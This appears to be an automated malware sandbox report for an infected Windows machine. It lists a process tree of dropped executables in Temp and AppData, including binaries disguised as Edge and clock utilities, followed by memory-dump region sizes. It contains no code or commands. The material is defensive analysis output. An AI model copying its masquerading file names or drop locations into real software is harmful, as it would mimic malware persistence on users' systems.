                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\werfault.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      werfault.exe /h /shared Global\a2c42c0797cb4014a91b58f32ecae187 /t 0 /p 6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\BAED.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\BAED.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7188
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\C59C.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\C59C.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\d9516ce9-f696-446d-aad5-a1e4e65670e0\B84F.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\d9516ce9-f696-446d-aad5-a1e4e65670e0\B84F.exe --Task
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6228
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4740
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\E27C.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\E27C.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6932
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\F8A5.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\F8A5.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\19EA.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\19EA.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1AC5.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\1AC5.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2B31.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2B31.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2FB7.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2FB7.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:7820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\3A08.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\3A08.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\495B.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\495B.tmp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1208
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:7752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:8032
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:7988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\B99B.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\B99B.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4456

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/196-1044-0x0000000000160000-0x0000000000169000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          36KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/196-1043-0x0000000000170000-0x0000000000175000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          20KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/384-868-0x0000000004840000-0x0000000004841000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1208-932-0x0000000000550000-0x00000000005BB000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          428KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1208-930-0x0000000000800000-0x0000000000874000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          464KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1292-208-0x0000000000401000-0x00000000004A9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          672KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1336-59-0x0000000000C60000-0x0000000000C62000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1336-55-0x0000000000400000-0x0000000000401000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1336-54-0x00007FF8E8A40000-0x00007FF8E942C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1524-162-0x00007FF8E8A90000-0x00007FF8E9430000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1524-167-0x0000000002930000-0x0000000002932000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1532-138-0x0000000000401000-0x00000000004B7000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          728KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-660-0x0000000070980000-0x000000007106E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-677-0x0000000007214000-0x0000000007216000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-663-0x00000000070A0000-0x00000000070CE000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          184KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-670-0x0000000007213000-0x0000000007214000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-669-0x0000000007120000-0x000000000714C000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          176KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-664-0x0000000007210000-0x0000000007211000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-657-0x0000000003060000-0x0000000003097000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          220KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-661-0x0000000000400000-0x000000000043A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          232KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-698-0x0000000007FD0000-0x0000000007FD1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-668-0x0000000007212000-0x0000000007213000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-658-0x0000000004B80000-0x0000000004B81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1776-654-0x0000000003110000-0x0000000003111000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1896-922-0x0000000005260000-0x0000000005261000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1896-916-0x0000000070980000-0x000000007106E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/1896-918-0x0000000000A60000-0x0000000000A61000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2064-26-0x0000000072CE0000-0x0000000072D73000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          588KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2064-33-0x0000000010000000-0x000000001033E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3.2MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2168-86-0x000001AA4AD00000-0x000001AA4AD01000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2168-75-0x00007FF900120000-0x00007FF90019E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          504KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2168-78-0x0000000010000000-0x0000000010057000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          348KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2184-47-0x0000000072CE0000-0x0000000072D73000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          588KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2184-62-0x00000000034E0000-0x000000000398F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4.7MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2228-61-0x0000000002CC0000-0x000000000316F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4.7MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2228-49-0x0000000072CE0000-0x0000000072D73000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          588KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2236-169-0x0000024BC5770000-0x0000024BC5771000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2236-158-0x00007FF900120000-0x00007FF90019E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          504KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2272-885-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2288-901-0x0000000003095000-0x0000000003096000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2288-890-0x0000000003092000-0x0000000003094000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2288-882-0x00007FF8E8A90000-0x00007FF8E9430000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2288-883-0x0000000003090000-0x0000000003092000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2340-569-0x00000000023B0000-0x00000000023F0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          256KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2340-143-0x0000000000530000-0x0000000000531000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2340-570-0x0000000000400000-0x000000000044B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          300KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-404-0x0000000007423000-0x0000000007424000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-323-0x0000000008A10000-0x0000000008A11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-414-0x000000000ADA0000-0x000000000ADA1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-72-0x00007FF8E8A90000-0x00007FF8E9430000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          9.6MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-270-0x0000000007422000-0x0000000007423000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-269-0x0000000007420000-0x0000000007421000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-320-0x00000000080E0000-0x00000000080E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-70-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2496-251-0x0000000070980000-0x000000007106E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          6.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2748-277-0x0000000004490000-0x0000000004491000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2748-278-0x0000000004490000-0x0000000004491000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2792-891-0x0000000004490000-0x0000000004491000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2908-834-0x0000000002FB0000-0x0000000002FC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2908-566-0x00000000031C0000-0x00000000031D6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2908-548-0x0000000002F80000-0x0000000002F96000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2908-745-0x0000000005A60000-0x0000000005A77000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          92KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/2908-384-0x00000000010B0000-0x00000000010C6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          88KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/3056-166-0x0000000000401000-0x000000000040B000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          40KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/3432-262-0x0000000003060000-0x00000000030AC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          304KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • memory/3432-263-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          320KB

